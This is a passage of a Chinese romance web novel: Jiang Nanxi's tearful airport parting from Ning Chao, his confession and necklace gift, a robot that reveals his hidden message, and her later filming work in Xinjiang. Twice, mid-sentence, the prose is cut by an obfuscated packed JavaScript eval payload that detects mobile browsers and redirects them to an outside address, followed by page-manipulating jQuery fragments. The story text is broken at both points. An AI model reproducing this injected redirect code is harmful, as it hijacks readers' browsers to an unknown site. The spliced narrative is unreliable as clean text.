宁朝问起姜南西过去之后的安排,姜南西告诉他夏犹清近半年的规划,前三个月在新疆,中间两个月在西藏,最后一个月可能去青海,也可能是其他地方。 没提半年以后。 可机场终归是个充满故事的地方,自带一种难以言喻的氛围感,周围行人形形色色,告别,奔赴,重逢,都发生在每次出发和到达中。 身边人来人往,姜南西的情绪很快袭来,冲破理智的桎梏。 她不再觉得,个体情绪在茫茫人海中微不足道。 它隆重,犀利,纠缠,欲言又止,它灌注在个体的身上,让人感到深刻的苦痛。 姜南西的步速慢下来,直到最后停下,她身边的宁朝跟着停下脚步。 宁朝看她两秒,轻声问:“怎么了?” “我忘记件事。”姜南西目光直视前方,不看宁朝,“拍了那么多东西,但有个镜头忘了拍。” 宁朝一直看着她:“还缺什么镜头?” 姜南西视线不动,她知道宁朝在看自己,可是没有勇气回望。 她笑了下,笑容很淡:“有人的。” 宁朝愣了一秒:“在哪儿拍?” “就这吧。” 说着姜南西拿起手机,滑动屏幕打开相机,调到录像模式。 宁朝见状,嘴角微微上扬,露出一抹了然的笑意。 紧接着,他放开行李箱,身体向后退开几步,在他背后,是一整面巨大的玻璃幕墙,大片阳光尽数倾洒而下,将整个出发层照得明亮而温暖。 宁朝直直望向姜南西,看她躲在手机后露出的发顶,张开双臂对她说:“来吧。” 回应他的只有机场无边无际的喧闹。 姜南西举着手机,可是没有按下录像键,她现在只敢隔着屏幕去看宁朝,去看他满含深意的眉眼。 宁朝轻轻叹了声气,随即走上前,伸出双臂将她抱进怀里,用手轻抚她的脑袋。 姜南西克制的情绪在这一刻彻底爆发。 她双手环住宁朝的腰,身体在微微颤抖着,她用带着哭腔的声音说:“谢谢你。” 她说:“谢谢你看见我。” 谢谢他,在拥挤的人群中,看见渺小的她。 那天夜晚,他说要和她一起看看北京有什么不同。 其实是他用自己独有的方式,在她眼前,慢慢展现一个全新的璀璨的北京,而在这趟冒险名义的旅途中,真正被看见的,是她。 他看见她所有的负面情绪,那些破碎,消颓,悲观,但依然心疼地抱住蜷缩在黑暗里的她,用真诚而炙热的眼神,望住她,一遍遍地说:“你很好。” 他看见她的胆小,敏感,拧巴,慢热,看见她缺乏安全感,看见她害怕失去。 他一次次把她从那层裹住自我的壳里拉出来,哪怕她不停后退不停推开他,他也未曾离去,拥抱她的依然是千百次的主动和回应。 用时间和耐心将琐碎的风景拼成具体的爱。 姜南西有种强烈的预感,以后,她再也不会遇到宁朝这么好的人了,没有他,她的一部分将永埋黑暗。 这一瞬间,她觉得既幸福又难过,终于不能自已地哭出来。 机场运转不息,时间不会因此停留,姜南西的眼泪洇湿宁朝胸前的衣服。 “本来想等一会儿的。”宁朝嗓音自上落下,分明温柔,却故意带着那分不羁的散漫劲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874536|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿,“但气氛都烘托到这,不送也得送了。” 话落,姜南西感觉颈后一凉,有什么细细的东西套在她脖子上。 她下意识退开点距离,微垂下头,伸手去摸挂在脖子上的东西,那天在店里看见过,所以她认得,这是一条香奈儿cococrush的项链,它有个特殊的别称,叫水冰月。 知道她喜欢美少女战士,他送她一往无前的勇气。 姜南西的眼泪倏然决堤。 宁朝轻柔地捧起姜南西的脸,拇指拭去她脸上不断滚落的眼泪,动作珍惜像捧着世间最珍贵的宝贝。 他郑重叫她名字:“姜南西。” 姜南西哽咽着与他对视,泪流满面。 宁朝说:“该说的那天晚上都说了,最后还有几句话。” “虽然你总说自己胆小,可实际上你特别勇敢。你可能不知道,其实跟你比起来,我怯懦得多,你的勇敢让我觉得自己很幸运,从遇见你的那一天,每一分,每一秒,直到现在,我都无比庆幸,庆幸你没有那么快就离开北京,庆幸自己还有时间,能慢慢认识你。” 他用指腹点点姜南西脸颊,动作满是不舍,“你勇敢到,让我舍不得说......让你留下来,那天在山顶,你的眼神那么渴望自由,谈及梦想时光芒耀眼的样子我毕生难忘。从那时起。我就做好你要离我而去的准备,除非别无选择,任何东西都不能阻挡你的脚步,包括我。” 姜南西泪眼朦胧,没忍住笑了一下。 宁朝语气坚定而温和:“所以姜南西,不要退缩,也不要害怕,勇敢大步地走向你的新生活,然后在新生活里继续闪闪发光,而我会一直祝福你,祝你梦想成真,祝你,有一个快乐而灿烂的人生。” 祝你每一天,都能遇到好天气。 说了很多,但是千言万语不止于此。 “最后的最后。”宁朝眼神柔软,笑容一如既往的明朗阳光,“姜南西,我喜欢你。” 即使感受的已经足够多,但第一次听到他这样直白地说出这四个字,姜南西的眼泪仍是断了线的珠子,不受控制地从眼眶里滚落。 宁朝怎么擦都擦不完,他无奈地说:“我可算知道你那天眼睛怎么肿的了。” 姜南西没有话说了,能说的唯有谢谢。 她感恩所有爱意,让她的存在被拥抱在所有美好的祝福里。 “姜橙子。”宁朝扶着她肩膀,将她转过来背对自己,在他们视线正前方,是一块醒目的出发方向指示牌。 他最后轻拍两下她的背,带着莫大的鼓励:“今天天气很好,出发!” 那天的姜南西,一路都没有回头,背影决然,坚定踏上她全新的旅途。 世界在她眼前徐徐展开,她自由,勇敢,用全部力量冲破困境,条条道路在她脚下,指向她任何想去的地方,花开万里,来日方长。 车辆驶出停车场,天光乍现的一刹,宁朝看见一架飞机凌云而起,直上云霄。 他拨弄音响按钮,车内响起歌曲《RunningUpThatHill》,豪迈酣畅的旋律瞬间填满狭小的空间。 宁朝缓缓降下车窗,伸出手去,试图抓一把窗外的风,那风在掌心激烈撞击,蓬勃,热烈,然后消失于无形。 风是抓不住的,他恍然大笑,笑声伴着音乐肆意飘荡。 那就追风! 而后他一脚踩下油门,黑色奥迪迅猛提速,向着远方绝尘而去。 阳光明媚,照亮城市,今天天气很好。 北京城又是崭新的一天。 39. 酥油茶 姜南西离开北京的一星期,宁朝收到很大一箱包裹。 箱子很沉,快递小哥搬上来时气喘吁吁,宁朝递给他一瓶水,说了声谢谢。 拆开快递,里面是满满一大箱的登山技术装备,这些装备不是出自同一品牌,每件单品都代表着对应品牌在专业领域的巅峰水准,价格不菲已是次要,非专业人士凭一己之力想要集齐这些,需要投入大量的精力去钻研学习,然后耗费漫长的时间进行筛选比对。 装备最上方放着一个信封,装着一张薄薄的卡片。 钢笔字迹清秀劲挺:“Surprise!祝你登顶成功!” 仿佛能想象到姜南西从某个角落里蹦出来,一边欢快笑着一边跟他讲这句话的样子,宁朝嘴角不自觉上扬。 他将箱子拖进装备间,一件一件仔细整理收纳,一切收拾妥当,刚好收到姜南西的微信。 不是来问东西的,是一个黑白线条小狗敬礼的表情包,她的打卡。 每天打卡的时间不固定,一旦收到这条消息,宁朝就知道姜南西此刻正在拍摄中场,能短暂休息一阵,如果对话框里再多一条别的消息,无论是什么,那就说明当天的拍摄结束。 宁朝发的那些,姜南西有时候回,有时候不回,归根结底太忙了。 而姜南西的每条消息,宁朝都会第一时间回复。 灰白小猫悄无声息从屋外溜进来,举起毛茸茸的爪子,整个身体挂在宁朝的裤腿上,仰头喵喵叫个不停。 中午了,是该放饭的时间了。 宁朝看了一眼蹲下来,轻柔地捏起小猫的右边爪子,支在它脑袋旁边,举起手机说:“别动,给你妈回个礼。” 小猫听不懂,小猫喵喵叫。 拍完,宁朝把照片转成表情包发给姜南西,姜南西以为是普通的表情包,没多想。 只说:【这只小猫的头怎么这么大?】 宁朝转头翻译给小猫:“你妈说你丑。” 小猫本来正踱步向屋外走,一听这话猛地回过头,圆溜溜眼睛瞪向宁朝:“人,你冒昧了。” 阳光晴朗,窗户明净。 宁朝目光扫过光线明亮的房间,还空置大半,觉得是时候该重新装修一番。 分开的第一个月,日子宛如静谧小溪,在岁月的河床上缓缓流淌。 两人工作同样的忙碌,联系绝大部分是每天的打卡,以及睡前不知由谁最后道出的那句晚安。 晚安的时间越来越晚,但只要在夜深人静时看见这两个字,彼此都能感到心安,所有的疲惫和孤独都能烟消云散。 直到这个月快要结束,宁朝很长一段时间没有收到姜南西的消息。 晚上十一点半,距离她上次打卡,已经过去整整三天,不仅没有消息,电话也是关机。 不是没出现过因为没信号断联的情况,但这次宁朝心底莫名发慌,与此同时,新闻通报姜南西所在地的一起重大交通事故,车上人员死伤不明。 终于在十分钟后,宁朝收到姜南西的消息,她直接说了晚安。 宁朝不作他想拨过去一个电话。 电话响了三声才接通。 话筒里,姜南西疑惑地问:“你怎么这么晚还没睡?” “没事。”宁朝的声音平稳而镇定,丝毫听不出前一秒的心急如焚,“这几天很忙吗?” “不忙啊怎......喔我是不是忘记给你发消息了。”姜南西说到一半,突然像是想起什么重要的事,不禁加快语速解释:“前几天我们去的地方没有信号,又一直在熬夜,忙完睡得晕头转向记不清时间,把之前给你发的消息当成今天发的了。” 她懊恼地拍下自己脑门:“忙昏头了。” “好好吃饭了吗?”宁朝随手将车钥匙和身份证扔到玄关,还穿着刚换上的准备外出的鞋,他转身走回客厅,如释重负地坐到沙发上。 “吃啦,当地的美食可香了。”姜南西笑了声,问他:“你怎么还没睡?” 因过度紧张而紧绷的身体,在突然松懈的一刹,好像被抽走了浑身力气,宁朝低下头,用手掌挡住刺眼的灯光,他嗓音沙哑叫她名字:“姜南西。” “啊?”姜南西的回答透着茫然。 宁朝呼吸微抖:“你确定你没事儿吗?” 这语气让姜南西心底一沉,她愣了愣:“真没事啊,你怎么了?” “没事儿。”宁朝稳了稳,掰开话题问:“这么晚怎么还没睡?”关心则乱,宁朝全然忘记姜南西刚刚问过他同样的问题。 姜南西说:“明天转场要收拾行李。你呢,怎么也还没睡?” 宁朝说:“刚加完班。” “这么晚。”姜南西小声嘟囔了句,随后两边都陷入无声的寂静。 停了半分,宁朝还想说什么,被姜南西再次响起的声音打断:“那你早点休息,我收拾东西去啦。” 宁朝下意识问:“去哪儿?” 姜南西卖了个关子:“到了告诉你。” “好。” 挂断电话,坐在地上的姜南西重新拿起桌上的面前和碘伏,揭开胳膊上的纱布,给伤口消毒上药。 她不是没有信号,而是在几天前出了一场车祸。 草原上的黑夜,偶尔会有野生动物穿梭公路,司机开车时全程保持专注,一眨不眨地看着前方。 可当一只羊突然从草丛里窜出来时,仍将他吓得手足无措,慌乱之下猛打方向盘导致车辆侧翻在路边。 当时车上只有司机,姜南西和团队里另一个同事,侧翻的一刹那,姜南西不受控制随车翻滚,脑海中只有一个念头:要死死抱住怀里的摄像机。 最终,她的胳膊和膝盖被挡风玻璃的碎片划伤。 万幸几人受伤都不严重,司机轻微脑震荡,住了一天院,姜南西和同事是皮外伤,机器和素材完好无损。 知晓情况的夏犹清表情极为严肃:“咱们团队一定是以人为本,机器坏了可以再买,素材没了可以再拍,你们的安全是最重要的事。” 姜南西拿着自己的摔得四分五裂的手机点头。 拍摄地地处偏僻,和唯一的维修店相距甚远,路程辗转,过了两天才勉强修好,补办电话卡又等了一天,刚刚才被同事帮忙拿回来装好。 姜南西处理完胳膊伤口,继续给膝盖上药。 房门被敲响,门外传来团队里同事关切的声音:“南西,吃饭吗?”团队熬夜熬得晚,半夜时会再一起吃个夜宵,姜南西迟迟没下去,同事专门上楼来叫她。 “不啦。”姜南西应声道,“我还得收拾一下。” “行,早点休息哈。” 姜南西没起来开门,同事知道她受伤,也不在意这些细节。 同事走后,姜南西仍旧独自一人坐在地上,擦完药,她凝神望着水泥地发呆。 尼奥从床底下钻出来,房间里响起一阵轻微的嗡鸣。 尼奥慢悠悠靠近到姜南西脚边,眼睛直直注视她的脸,似乎在酝酿着什么,然后姜南西听到它说:“我想每天都能吃到福香斋的早饭。” 大概是同事那个“饭”字又触发它的关键词,让它脱口而出这么一句。 对此,姜南西已经见怪不怪,唯有一点好奇。 她摸摸尼奥机械的脑袋,温声问:“你为什么一直重复这句话?” 尼奥歪过头,定定望着姜南西的脸,屏幕闪出两条横线,跳动两下,好半天没有再说话。 见它呆滞在原地,姜南西以为是它尚不能处理这样的对话,程序运行不过来卡机了,便拍了拍它,没再去管,准备起来收拾行李箱。 就在她起身的一刻,沉默的尼奥突然重新开口:“因为我想每天都见到你。” 这是它从未说过的话语。 没有任何音色的改变,只有情绪的细微变化,却宛如一道电流,在姜南西的心头迅速蔓延。 她惊讶又不解地回过头,尼奥的眼睛弯成两个半圆的弧度,正在对着她笑,它又重复了一遍刚才的话,这次是尼奥自己的语气:“因为我想每天都见到你呀,姜橙子。” 从让尼奥不断复述“我想每天都能吃到福香斋的早饭”时,宁朝就预设好了所有程序,用算法和逻辑构筑了一个加密的储存空间,再用层层代码给这个空间上一把锁。 当某一天姜南西按耐不住好奇,问出那句为什么,就能自动激活情感算法,打开这把锁。 下一步,程序运行,道出那句被精心编码和技术封装后的思念。 尼奥每句看似滑稽的“我想每天都能吃到福香斋的早饭”的背后,真正隐藏着的,是宁朝心底的那句话。 我想每天都见到你。 我想你了。 姜南西有点想要掉眼泪,身上原本没那么疼的伤口,在此时突然针扎般的刺痛。 她眨了眨眼睛,不想哭,也不知道自己为什么遇见宁朝之后,会变得这么爱掉眼泪。 “罪魁祸首”还在一旁眼巴巴地看着她,姜南西摆出凶巴巴的表情对尼奥道:“不准学你爹花言巧语。” 尼奥听到这句话,没有被吓到,反而低呜了一声,迈着小小的步伐朝她走过来,它轻轻匍匐在姜南西的腿边,四条短腿并用抱住她的一只脚,脑袋耷拉下来,不说话,安安静静守着她。 宁朝知道姜南西不爱表达,所以他另外设置了一些特殊的程序。 只要情感模块检测到姜南西的语言里,有低落或者想要倾诉的迹象,尼奥就会跑过来,抱住她的一只脚,静静地依偎在她身边,像是在鼓励和安慰。 这是宁朝送给姜南西的惊喜。 · 分开的第二个月,姜南西在新疆塔城,一如往常的忙碌。 宁朝开始不常去公司,而是和Eric及其他几个外国友人往来频繁,友人们都是运动健将,个个身形高大肌肉健硕。 公司茶歇里讨论得热火朝天。 阅川狠狠蹙起眉:“这会不会有点太刺激了。” 杨韫看着淡定:“还好吧,这挺正常的啊。” 王廷章一脸不可置信:“老杨你接受度这么高吗?” “我还是喜欢原来那种小清新的。”周时懿撇了撇嘴。 方续默默夹起一筷子牛肚,心里暗暗吐槽:“就吃个重庆火锅,各位负责人你们要不要说得这么奇怪。” 是的,老板不在,摸鱼愉快。 半个月后,某国际知名科技公司正式对外发布战略规划,宣布进军户外领域,计划将AI技术深度融入极限运动场景,打造高智能、全方位及多层次的创新运动体验系统,并结合其他相关行业的技术辅助,进一步实现极限运动多维度的重大突破。 姜南西在备场间隙看见这条新闻,平时她并不关注这些科技动态,只是这家公司所提到的技术合作企业,她碰巧认识。 不得不说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874537|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那家企业咖啡挺难喝。 看着这条新闻,姜南西隐隐觉得哪里不对劲,但宁朝没提,她就没问。 夏犹清在前方喊她一声:“南西!” “来啦!”草原上风大,姜南西高呼回应对方,收起手机走过去。 晚上,姜南西停更许久的B站忽然发布一张照片,她和夏犹清的合影,没有文案。 河流撕裂大地,安集海大峡谷两岸判若霄壤,东岸嶙峋刚劲,西岸平坦壮阔。 姜南西立于断崖之巅,脚底崖壁刀劈斧砍,狂风如怒兽,疯狂撕扯她的衣袂头发,可她岿然不动,大西北的太阳粗犷刚烈,将她眸中冷冽淬炼成刃,凌厉而平静地望向无人机,似在和镜头后的世界进行一场无声对峙。 夏犹清面带微笑,站在她身后三步之遥,更显历经岁月的从容,独有种说不出来的气质,她静静凝视姜南西的侧脸,眼里流露出来的,或欣赏,或底气,或照拂。 平原和山川,包容和磅礴,温柔和野性,构成一幅极具视觉冲击的画面。 任谁看见这张照片,都会被大自然的鬼斧神工所深深震撼,那是一种直击灵魂、超越言语的惊叹,而就在这片土地之上,生命生生不息,相互交织碰撞,迸发无尽的可能与力量。 人类与自然共生,生命传奇,永不落幕。 这是姜南西第一次在网络里露脸,粉丝们当然知道这张照片什么意思,热评简单真挚:「欢迎回来。」 也有人认出夏犹清,在评论里欣喜若狂:「卧槽?!我两大女神梦幻联动了!」 另一人在该评论下回复:「你们不觉得,这画面像一头母狮子带着一个小狮子吗,小狮子看似初出茅庐但爪牙锋利,母狮表面神性实则威严,我好爱这种薪火相传的女性力量,希望所有女性在各行各业百花齐放!哈库呐玛塔塔!」 更有情绪激昂的粉丝说:「这个眼神给我看爽了!谁懂!黑子们去x!」 除却欢迎的评论,还有大部分觉得她的视频没有代餐的忠实粉丝,苦等一年终于等来复更信号,于是拿着小皮鞭站在评论区里催视频:「不更我就上吊。」 灯光轻洒,宁朝坐在电脑前,眉骨在光晕里涤荡一片柔和。他目光紧锁屏幕照片上的人物,看得出姜南西黑了点,也瘦了点,但眼神更坚韧,更有力量了。 看了许久,宁朝嘴角悄然浮现一抹满含深意的笑。 姜南西找到了,她的25号底片。 各式各样的评论涌入后台,姜南西没有看,而是和团队小伙伴们一起,在草原上围着篝火喝酥油茶吃烤全羊,在载歌载舞的人群里鼓掌欢呼。 聚到一半,其他人还在继续热闹,姜南西回房间,剪她的告别北京vlog。 晚上住毡房,姜南西和毡房主人的小女儿一起睡。 小姑娘今年十五岁,名字叫玛拉丽,眼睛大大的,亮亮的,像草原上的月亮一样干净。 熄灯之后,两个人都睡不着。 玛拉丽碰了碰身边的姜南西,姜南西转过头来看她,从黑暗里寻找她的轮廓,小声问:“怎么啦?” “......南西姐姐。”玛拉丽的中文不太熟练,说一句话前要想一会儿,“你是从哪里来的?” 被子下的身体动了动,姜南西转过来对着她:“我从北京来的。” 听到这句话,玛拉丽的眼神兴奋起来,微光在她眼底闪着灵动:“北京好玩吗?” 看着她向往的神情,姜南西笑着嗯了一声:“特别好玩。” “那你什么时候再回北京?”玛拉丽问。 姜南西的眼神变得悠长,想了想她说:“明年夏天吧。” “我也喜欢夏天。”玛拉丽乐滋滋地说,“夏天的时候,草原上的草密密地长起来,很多鲜花都会成......盛开,牛羊吃了长得很壮。” “是。”姜南西轻声回答,“夏天是个盛开的季节。” 说完,她想到什么,淡淡笑了下。 玛拉丽又问:“那你回北京干什么去?” 黑夜静宁,姜南西说:“谈恋爱。” 这是她走前和宁衡远说的秘密,夏犹清说这个项目为期三年,每年有8到9个月为出差时间,工作特殊除去过年不设节假日,但其他剩下几个月除去线上会议,活动自由安排。 去哪,干什么,随意。姜南西要去谈恋爱。 今天这个秘密被第三个人知道,在这无垠的草原上。 月亮可能也会听见。 至于为什么不是确定后再离开北京,源于回避型人格的余威,姜南西需要一些时间对抗距离的恐惧。 她要积攒一些绝不退缩的确定性。 “和你的男朋友吗?”这个话题对十几岁的少女来说,是隐秘的,刺激的,像一颗将熟未熟的青苹果,具有诱惑力的,玛拉丽霎时变得亢奋,拉着姜南西的手想听她说更多,她急忙问了一堆:“他长得帅吗?高不高?会不会骑马?一顿能吃几个羊头?” 姜南西被这长长的一串问题问倒,她握了握玛拉丽的手说:“还不是男朋友。” 玛拉丽眼睛睁大,懵懵懂懂望着姜南西,似乎是不理解,人为什么可以和不是男朋友的人谈恋爱。 姜南西回答她:“但他很爱我。” 她把这句话,也讲给草原上的月亮听。 玛拉丽说:“那以后你们的日子,要和草原上的太阳一样,要闪亮地过呀。”